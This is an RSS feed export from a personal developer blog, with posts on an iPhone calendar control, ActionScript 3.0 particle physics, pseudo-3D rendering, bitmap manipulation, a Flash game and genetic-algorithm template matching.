<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>Nadim is Simple</title>
	<atom:link href="http://nadimissimple.wordpress.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://nadimissimple.wordpress.com</link>
	<description>the things you own end up owning you</description>
	<lastBuildDate>Fri, 08 Jul 2011 10:04:49 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.com/</generator>
<cloud domain='nadimissimple.wordpress.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://s2.wp.com/i/buttonw-com.png</url>
		<title>Nadim is Simple</title>
		<link>http://nadimissimple.wordpress.com</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://nadimissimple.wordpress.com/osd.xml" title="Nadim is Simple" />
	<atom:link rel='hub' href='http://nadimissimple.wordpress.com/?pushpress=hub'/>
		<item>
		<title>Calendar Control for iPhone</title>
		<link>http://nadimissimple.wordpress.com/2009/04/17/calendar-control-for-iphone/</link>
		<comments>http://nadimissimple.wordpress.com/2009/04/17/calendar-control-for-iphone/#comments</comments>
		<pubDate>Fri, 17 Apr 2009 16:09:24 +0000</pubDate>
		<dc:creator>Nadim Jahangir</dc:creator>
				<category><![CDATA[Creativity]]></category>
		<category><![CDATA[Cocoa Touch]]></category>
		<category><![CDATA[iPhone]]></category>
		<category><![CDATA[UI]]></category>

		<guid isPermaLink="false">http://nadimissimple.wordpress.com/?p=283</guid>
		<description><![CDATA[Somedays ago when I was developing an iPhone application, I required to use a calendar control to show date specific information on it. First I thought that I might get a built-in control in Cocoa Touch UIKit, but unfortunately there is no such thing in that. So I create my own calendar control which is [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=nadimissimple.wordpress.com&amp;blog=5379635&amp;post=283&amp;subd=nadimissimple&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Somedays ago when I was developing an iPhone application, I required to use a calendar control to show date specific information on it. First I thought that I might get a built-in control in Cocoa Touch UIKit, but unfortunately there is no such thing in that. So I create my own calendar control which is fully customizable. Here is the screenshot of my calendar control.</p>
<p> </p>
<p> </p>
<div id="attachment_285" class="wp-caption aligncenter" style="width: 396px"><img class="size-full wp-image-285" title="Calendar Control Demo" src="http://nadimissimple.files.wordpress.com/2009/04/cal.jpg?w=386&#038;h=742" alt="Calendar Control Demo" width="386" height="742" /><p class="wp-caption-text">Calendar Control Demo</p></div>
<p>You can set the color theme, cell background image, day tag image, weekends and their colors. You can also change the first day of week. Actions can be set for event Touch Up Inside each day cell. Months and years can be navigated individually. Current day can be selected by passing goToday message to the calendar conrol object. This control is to be added as a subview of any view and I made it by inheriting UIView class. There is only a single class to do all this.</p>
<p>If anyone of you need this then go to <a href="http://nrg.com.bd/blog/archives/36">http://nrg.com.bd/blog/archives/36</a></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/nadimissimple.wordpress.com/283/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/nadimissimple.wordpress.com/283/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/nadimissimple.wordpress.com/283/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/nadimissimple.wordpress.com/283/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/nadimissimple.wordpress.com/283/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/nadimissimple.wordpress.com/283/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/nadimissimple.wordpress.com/283/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/nadimissimple.wordpress.com/283/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/nadimissimple.wordpress.com/283/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/nadimissimple.wordpress.com/283/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/nadimissimple.wordpress.com/283/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/nadimissimple.wordpress.com/283/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/nadimissimple.wordpress.com/283/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/nadimissimple.wordpress.com/283/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=nadimissimple.wordpress.com&amp;blog=5379635&amp;post=283&amp;subd=nadimissimple&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://nadimissimple.wordpress.com/2009/04/17/calendar-control-for-iphone/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/71d3e44dd0208280386aad8c05b11205?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">Nadim</media:title>
		</media:content>

		<media:content url="http://nadimissimple.files.wordpress.com/2009/04/cal.jpg" medium="image">
			<media:title type="html">Calendar Control Demo</media:title>
		</media:content>
	</item>
		<item>
		<title>Math for Simple Particle Generation with ActionScript 3.0</title>
		<link>http://nadimissimple.wordpress.com/2008/12/30/math-for-simple-particle-generation-with-actionscript-30/</link>
		<comments>http://nadimissimple.wordpress.com/2008/12/30/math-for-simple-particle-generation-with-actionscript-30/#comments</comments>
		<pubDate>Tue, 30 Dec 2008 14:48:47 +0000</pubDate>
		<dc:creator>Nadim Jahangir</dc:creator>
				<category><![CDATA[Creativity]]></category>
		<category><![CDATA[Tutorial]]></category>
		<category><![CDATA[ActionScript]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[Math]]></category>
		<category><![CDATA[Particle]]></category>
		<category><![CDATA[Physics]]></category>

		<guid isPermaLink="false">http://nadimissimple.wordpress.com/?p=270</guid>
		<description><![CDATA[I was just passing my time and built a simple but pretty nice particle generator in ActionScript 3.0. I assumed the particles to be small projectiles and motion of which are driven by the following equations, x = x0 + vxt y = y0 + vyt &#8211; 0.5gt2 where, x0 = initial position along x-axis [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=nadimissimple.wordpress.com&amp;blog=5379635&amp;post=270&amp;subd=nadimissimple&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>I was just passing my time and built a simple but pretty nice particle generator in ActionScript 3.0. I assumed the particles to be small projectiles and motion of which are driven by the following equations,</p>
<p style="text-align:center;"><strong>x = x<sub>0</sub> + v<sub>x</sub>t</strong></p>
<p style="text-align:center;"><strong>y = y<sub>0</sub> + v<sub>y</sub>t &#8211; 0.5gt<sup>2</sup></strong></p>
<p style="text-align:center;"><strong> </strong></p>
<p style="text-align:center;"><strong>where,</strong></p>
<p style="text-align:center;"><strong>x<sub>0</sub> = initial position along x-axis</strong></p>
<p style="text-align:center;"><strong>y<sub>0</sub> = initial position along y-axis</strong></p>
<p style="text-align:center;"><strong>v<sub>x</sub> = initial velocity along x-axis</strong></p>
<p style="text-align:center;"><strong>v<sub>y</sub> = initial velocity along y-axis</strong></p>
<p style="text-align:center;"><strong>g = acceleration due to gravity</strong></p>
<p>In the demo <a href="http://nadimjahangir.net/xp/particle.swf">http://nadimjahangir.net/xp/particle.swf</a> the initial position are set to mouse position. And initial velocities are set randomly.</p>
<div id="attachment_271" class="wp-caption aligncenter" style="width: 365px"><img class="size-full wp-image-271" title="Particle Generation Demo" src="http://nadimissimple.files.wordpress.com/2008/12/particle.jpg?w=355&#038;h=597" alt="Particle Generation Demo" width="355" height="597" /><p class="wp-caption-text">Particle Generation Demo</p></div>
<p>This can further be enhanced by adding air friction terms.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/nadimissimple.wordpress.com/270/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/nadimissimple.wordpress.com/270/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/nadimissimple.wordpress.com/270/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/nadimissimple.wordpress.com/270/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/nadimissimple.wordpress.com/270/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/nadimissimple.wordpress.com/270/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/nadimissimple.wordpress.com/270/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/nadimissimple.wordpress.com/270/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/nadimissimple.wordpress.com/270/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/nadimissimple.wordpress.com/270/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/nadimissimple.wordpress.com/270/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/nadimissimple.wordpress.com/270/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/nadimissimple.wordpress.com/270/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/nadimissimple.wordpress.com/270/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=nadimissimple.wordpress.com&amp;blog=5379635&amp;post=270&amp;subd=nadimissimple&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://nadimissimple.wordpress.com/2008/12/30/math-for-simple-particle-generation-with-actionscript-30/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/71d3e44dd0208280386aad8c05b11205?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">Nadim</media:title>
		</media:content>

		<media:content url="http://nadimissimple.files.wordpress.com/2008/12/particle.jpg" medium="image">
			<media:title type="html">Particle Generation Demo</media:title>
		</media:content>
	</item>
		<item>
		<title>ActionScript 3.0 Pseudo-3D Drawing Performance</title>
		<link>http://nadimissimple.wordpress.com/2008/12/30/actionscript-30-pseudo-3d-drawing-performance/</link>
		<comments>http://nadimissimple.wordpress.com/2008/12/30/actionscript-30-pseudo-3d-drawing-performance/#comments</comments>
		<pubDate>Tue, 30 Dec 2008 05:58:59 +0000</pubDate>
		<dc:creator>Nadim Jahangir</dc:creator>
				<category><![CDATA[Study]]></category>
		<category><![CDATA[3D]]></category>
		<category><![CDATA[ActionScript]]></category>
		<category><![CDATA[Flash]]></category>

		<guid isPermaLink="false">http://nadimissimple.wordpress.com/?p=265</guid>
		<description><![CDATA[Since there is no 3D library in ActionScript 3.0 we need to do pseudo-3D drawing by some projection calculations which requires expensive matrix and vector calculations. I was just wondering if Flash player is capable of handling such huge load due to this massive calculations when there are lot of 3D objects and complex scene [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=nadimissimple.wordpress.com&amp;blog=5379635&amp;post=265&amp;subd=nadimissimple&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Since there is no 3D library in ActionScript 3.0 we need to do pseudo-3D drawing by some projection calculations which requires expensive matrix and vector calculations. I was just wondering if Flash player is capable of handling such huge load due to this massive calculations when there are lot of 3D objects and complex scene construction is required. But fortunately Flash player can do this quiet satisfactorily though when the 3D scene to be rendered is very much complex the exact timing slips due to increased time complexity. But in most of our applications we don&#8217;t need that much calculations and Flash player can give us pretty smooth and glitchless 3D animations.</p>
<p>I tried drawing some 3D scenes. Two of them are shown below.</p>
<p>To see &#8220;ball bouncing in 3D space&#8221; go to <a href="http://nadimjahangir.net/xp/test3d.swf">http://nadimjahangir.net/xp/test3d.swf</a></p>
<div id="attachment_266" class="wp-caption aligncenter" style="width: 508px"><img class="size-full wp-image-266" title="A Ball Bouncing in 3D Space" src="http://nadimissimple.files.wordpress.com/2008/12/ball.jpg?w=498&#038;h=546" alt="A Ball Bouncing in 3D Space" width="498" height="546" /><p class="wp-caption-text">A Ball Bouncing in 3D Space</p></div>
<div class="mceTemp mceIEcenter" style="text-align:justify;">To see &#8220;wavy 3D surface&#8221; demo go to <a href="http://nadimjahangir.net/xp/wave3d.swf">http://nadimjahangir.net/xp/wave3d.swf</a></div>
<div id="attachment_267" class="wp-caption aligncenter" style="width: 559px"><img class="size-full wp-image-267" title="Wavy 3D Surface" src="http://nadimissimple.files.wordpress.com/2008/12/wave3d.jpg?w=549&#038;h=278" alt="Wavy 3D Surface" width="549" height="278" /><p class="wp-caption-text">Wavy 3D Surface</p></div>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/nadimissimple.wordpress.com/265/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/nadimissimple.wordpress.com/265/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/nadimissimple.wordpress.com/265/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/nadimissimple.wordpress.com/265/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/nadimissimple.wordpress.com/265/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/nadimissimple.wordpress.com/265/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/nadimissimple.wordpress.com/265/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/nadimissimple.wordpress.com/265/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/nadimissimple.wordpress.com/265/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/nadimissimple.wordpress.com/265/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/nadimissimple.wordpress.com/265/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/nadimissimple.wordpress.com/265/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/nadimissimple.wordpress.com/265/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/nadimissimple.wordpress.com/265/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=nadimissimple.wordpress.com&amp;blog=5379635&amp;post=265&amp;subd=nadimissimple&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://nadimissimple.wordpress.com/2008/12/30/actionscript-30-pseudo-3d-drawing-performance/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/71d3e44dd0208280386aad8c05b11205?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">Nadim</media:title>
		</media:content>

		<media:content url="http://nadimissimple.files.wordpress.com/2008/12/ball.jpg" medium="image">
			<media:title type="html">A Ball Bouncing in 3D Space</media:title>
		</media:content>

		<media:content url="http://nadimissimple.files.wordpress.com/2008/12/wave3d.jpg" medium="image">
			<media:title type="html">Wavy 3D Surface</media:title>
		</media:content>
	</item>
		<item>
		<title>Bush hottShot</title>
		<link>http://nadimissimple.wordpress.com/2008/12/27/253/</link>
		<comments>http://nadimissimple.wordpress.com/2008/12/27/253/#comments</comments>
		<pubDate>Fri, 26 Dec 2008 19:46:05 +0000</pubDate>
		<dc:creator>Nadim Jahangir</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[ActionScript]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[Game Development]]></category>

		<guid isPermaLink="false">http://nadimissimple.wordpress.com/?p=253</guid>
		<description><![CDATA[I&#8217;ve just finished developing a Flash game for hottMedia Ltd. It&#8217;s a fun game for throwing shoe at Bush. Since it&#8217;s a fad game I had a very short notice (only 2 days) and so there may be still some bugs there in the game. The game title is Bush hottShot. This game can be [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=nadimissimple.wordpress.com&amp;blog=5379635&amp;post=253&amp;subd=nadimissimple&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve just finished developing a Flash game for hottMedia Ltd. It&#8217;s a fun game for throwing shoe at Bush. Since it&#8217;s a fad game I had a very short notice (only 2 days) and so there may be still some bugs there in the game. The game title is <strong>Bush hottShot</strong>. This game can be played in <a href="http://www.hottdhaka.com/hottfun/bushhottshot/">hottDhaka.com</a> and <a href="http://apps.facebook.com/bushhottshot/">Facebook </a>as well. Danny bhai is the graphic designer and Hasan bhai did the animations. I did all the coding in ActionScript 3.0.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/nadimissimple.wordpress.com/253/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/nadimissimple.wordpress.com/253/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/nadimissimple.wordpress.com/253/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/nadimissimple.wordpress.com/253/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/nadimissimple.wordpress.com/253/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/nadimissimple.wordpress.com/253/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/nadimissimple.wordpress.com/253/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/nadimissimple.wordpress.com/253/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/nadimissimple.wordpress.com/253/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/nadimissimple.wordpress.com/253/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/nadimissimple.wordpress.com/253/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/nadimissimple.wordpress.com/253/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/nadimissimple.wordpress.com/253/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/nadimissimple.wordpress.com/253/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=nadimissimple.wordpress.com&amp;blog=5379635&amp;post=253&amp;subd=nadimissimple&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://nadimissimple.wordpress.com/2008/12/27/253/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/71d3e44dd0208280386aad8c05b11205?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">Nadim</media:title>
		</media:content>
	</item>
		<item>
		<title>Bitmap Manipulation in ActionScript 3.0</title>
		<link>http://nadimissimple.wordpress.com/2008/12/12/bitmap-manipulation-in-actionscript-30/</link>
		<comments>http://nadimissimple.wordpress.com/2008/12/12/bitmap-manipulation-in-actionscript-30/#comments</comments>
		<pubDate>Fri, 12 Dec 2008 11:22:45 +0000</pubDate>
		<dc:creator>Nadim Jahangir</dc:creator>
				<category><![CDATA[Creativity]]></category>
		<category><![CDATA[Tutorial]]></category>
		<category><![CDATA[ActionScript]]></category>
		<category><![CDATA[Bitmap]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[Image Processing]]></category>

		<guid isPermaLink="false">http://nadimissimple.wordpress.com/?p=243</guid>
		<description><![CDATA[In ActionScript 3.0 I found very useful classes for bitmap manipulation. The classes are BitmapData and Bitmap. I can now do image processing from right inside ActionScript. Using the BitmapData class you can access each pixel in a bitmap individually. The bitmap data can contain any image data of any movie clip. The following is [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=nadimissimple.wordpress.com&amp;blog=5379635&amp;post=243&amp;subd=nadimissimple&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>In ActionScript 3.0 I found very useful classes for bitmap manipulation. The classes are <strong>BitmapData </strong>and <strong>Bitmap</strong>. I can now do image processing from right inside ActionScript. Using the <strong>BitmapData </strong>class you can access each pixel in a bitmap individually. The bitmap data can contain any image data of any movie clip. The following is an example code for this,</p>
<p style="padding-left:60px;"><span style="color:#0000ff;"><strong>var bmpData:BitmapData = new BitmapData(mc.width, mc.height);</strong></span></p>
<p style="padding-left:60px;"><span style="color:#0000ff;"><strong>bmpData.draw(mc);</strong></span></p>
<p style="padding-left:60px;"><span style="color:#0000ff;">// do image processing tasks by bmpData.getPixel(x, y) and bmpData.setPixel(x, y, color)</span></p>
<p style="padding-left:60px;"><span style="color:#0000ff;"><strong>var bmp:Bitmap = new Bitmap(bmpData);</strong></span></p>
<p style="padding-left:60px;"><span style="color:#0000ff;"><strong>addChild(bmp);</strong></span></p>
<p>Here <strong>mc</strong> is the instance name of a target movie clip of which you want to manipulate pixels. <strong>bmpData</strong> got the pixel info of <strong>mc</strong> by calling <strong>draw()</strong> method. To make the bitmap visible after processing, a new <strong>Bitmap</strong> instance (<strong>bmp</strong>) is created and added to the display list by <strong>addChild()</strong> method.</p>
<p>I&#8217;ve made a demo of this pixel manipulation, here I made a wavy effect to an image of Angelina Jolie. Check this in here <a href="http://nadimjahangir.net/xp/bitmapmanip.swf">AS3 Bitmap Manipulation Demo by Nadim</a>. Here is the screenshot.</p>
<div id="attachment_245" class="wp-caption aligncenter" style="width: 560px"><img class="size-full wp-image-245" title="Wavy Effect of Image by AS3" src="http://nadimissimple.files.wordpress.com/2008/12/bmp.jpg?w=550&#038;h=380" alt="Wavy Effect of Image by AS3" width="550" height="380" /><p class="wp-caption-text">Wavy Effect of Image by AS3</p></div>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/nadimissimple.wordpress.com/243/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/nadimissimple.wordpress.com/243/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/nadimissimple.wordpress.com/243/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/nadimissimple.wordpress.com/243/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/nadimissimple.wordpress.com/243/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/nadimissimple.wordpress.com/243/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/nadimissimple.wordpress.com/243/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/nadimissimple.wordpress.com/243/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/nadimissimple.wordpress.com/243/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/nadimissimple.wordpress.com/243/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/nadimissimple.wordpress.com/243/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/nadimissimple.wordpress.com/243/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/nadimissimple.wordpress.com/243/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/nadimissimple.wordpress.com/243/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=nadimissimple.wordpress.com&amp;blog=5379635&amp;post=243&amp;subd=nadimissimple&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://nadimissimple.wordpress.com/2008/12/12/bitmap-manipulation-in-actionscript-30/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/71d3e44dd0208280386aad8c05b11205?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">Nadim</media:title>
		</media:content>

		<media:content url="http://nadimissimple.files.wordpress.com/2008/12/bmp.jpg" medium="image">
			<media:title type="html">Wavy Effect of Image by AS3</media:title>
		</media:content>
	</item>
		<item>
		<title>Genetic Algorithm Driven Template Matching in ActionScript 3.0</title>
		<link>http://nadimissimple.wordpress.com/2008/12/11/genetic-algorithm-driven-template-matching/</link>
		<comments>http://nadimissimple.wordpress.com/2008/12/11/genetic-algorithm-driven-template-matching/#comments</comments>
		<pubDate>Thu, 11 Dec 2008 10:12:14 +0000</pubDate>
		<dc:creator>Nadim Jahangir</dc:creator>
				<category><![CDATA[Creativity]]></category>
		<category><![CDATA[Study]]></category>
		<category><![CDATA[ActionScript]]></category>
		<category><![CDATA[Artificial Intelligence]]></category>
		<category><![CDATA[Computer Vision]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[Genetic Algorithm]]></category>
		<category><![CDATA[Template Matching]]></category>

		<guid isPermaLink="false">http://nadimissimple.wordpress.com/?p=237</guid>
		<description><![CDATA[Template Matching is used for object detection in images but this is computationally expensive task. If the image size is m×n and the template size is p×q then in worst case it requires m×n×p×q computations for normal template matching. If scaling factor and rotation are introduced for scale and rotation invariance then the complexity becomes [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=nadimissimple.wordpress.com&amp;blog=5379635&amp;post=237&amp;subd=nadimissimple&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Template Matching is used for object detection in images but this is computationally expensive task. If the image size is <strong>m×n</strong> and the template size is <strong>p×q</strong> then in worst case it requires <strong>m×n×p×q</strong> computations for normal template matching. If scaling factor and rotation are introduced for scale and rotation invariance then the complexity becomes <strong>O(m×n×p×q×sx×sy×theta)</strong> where <strong>sx</strong> and <strong>sy</strong> are the maximum allowed value of scaling factor along x-axis and y-axis respectively and <strong>theta</strong> is the maximum allowed rotation angle. So each parameter of the template deformation adds a new order to the template matching complexity and it soon becomes infeasible to cope with. In such case Genetic Algorithm (GA) can be useful to some extent. Although GA doesn&#8217;t gurantee that it will find the object in fewer iteration than exhaustive template matching does but there is a good probability for GA to find the object in fewer iteration. In GA based template matching the template deformation parameters are encoded into chromosomes. For example for a simple template matching where there is no scaling and rotation factor, the position of the template can be used to form the chromosome. I built a demo where the template co-ordinates are used as the chromosome, you can see it from here <a href="http://nadimjahangir.net/xp/GA.swf">Genetic Algorithm Driven Template Matching Demo by Nadim</a></p>
<p>Here is a screenshot. The eye (the template) of Katrina Kaif is being searched by GA from the picture.</p>
<div id="attachment_250" class="wp-caption aligncenter" style="width: 480px"><img class="size-full wp-image-250" title="GA Driven Template Matching" src="http://nadimissimple.files.wordpress.com/2008/12/ga.jpg?w=470&#038;h=311" alt="GA Driven Template Matching" width="470" height="311" /><p class="wp-caption-text">GA Driven Template Matching</p></div>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/nadimissimple.wordpress.com/237/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/nadimissimple.wordpress.com/237/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/nadimissimple.wordpress.com/237/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/nadimissimple.wordpress.com/237/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/nadimissimple.wordpress.com/237/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/nadimissimple.wordpress.com/237/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/nadimissimple.wordpress.com/237/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/nadimissimple.wordpress.com/237/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/nadimissimple.wordpress.com/237/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/nadimissimple.wordpress.com/237/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/nadimissimple.wordpress.com/237/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/nadimissimple.wordpress.com/237/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/nadimissimple.wordpress.com/237/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/nadimissimple.wordpress.com/237/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=nadimissimple.wordpress.com&amp;blog=5379635&amp;post=237&amp;subd=nadimissimple&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://nadimissimple.wordpress.com/2008/12/11/genetic-algorithm-driven-template-matching/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/71d3e44dd0208280386aad8c05b11205?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">Nadim</media:title>
		</media:content>

		<media:content url="http://nadimissimple.files.wordpress.com/2008/12/ga.jpg" medium="image">
			<media:title type="html">GA Driven Template Matching</media:title>
		</media:content>
	</item>
		<item>
		<title>Use Bayes&#8217; Net: Predict User Taste</title>
		<link>http://nadimissimple.wordpress.com/2008/12/10/use-bayes-net-predict-user-taste/</link>
		<comments>http://nadimissimple.wordpress.com/2008/12/10/use-bayes-net-predict-user-taste/#comments</comments>
		<pubDate>Wed, 10 Dec 2008 12:18:25 +0000</pubDate>
		<dc:creator>Nadim Jahangir</dc:creator>
				<category><![CDATA[Creativity]]></category>
		<category><![CDATA[Tutorial]]></category>
		<category><![CDATA[Artificial Intelligence]]></category>
		<category><![CDATA[Bayes Net]]></category>
		<category><![CDATA[Machine Learning]]></category>
		<category><![CDATA[User Experience]]></category>

		<guid isPermaLink="false">http://nadimissimple.wordpress.com/?p=216</guid>
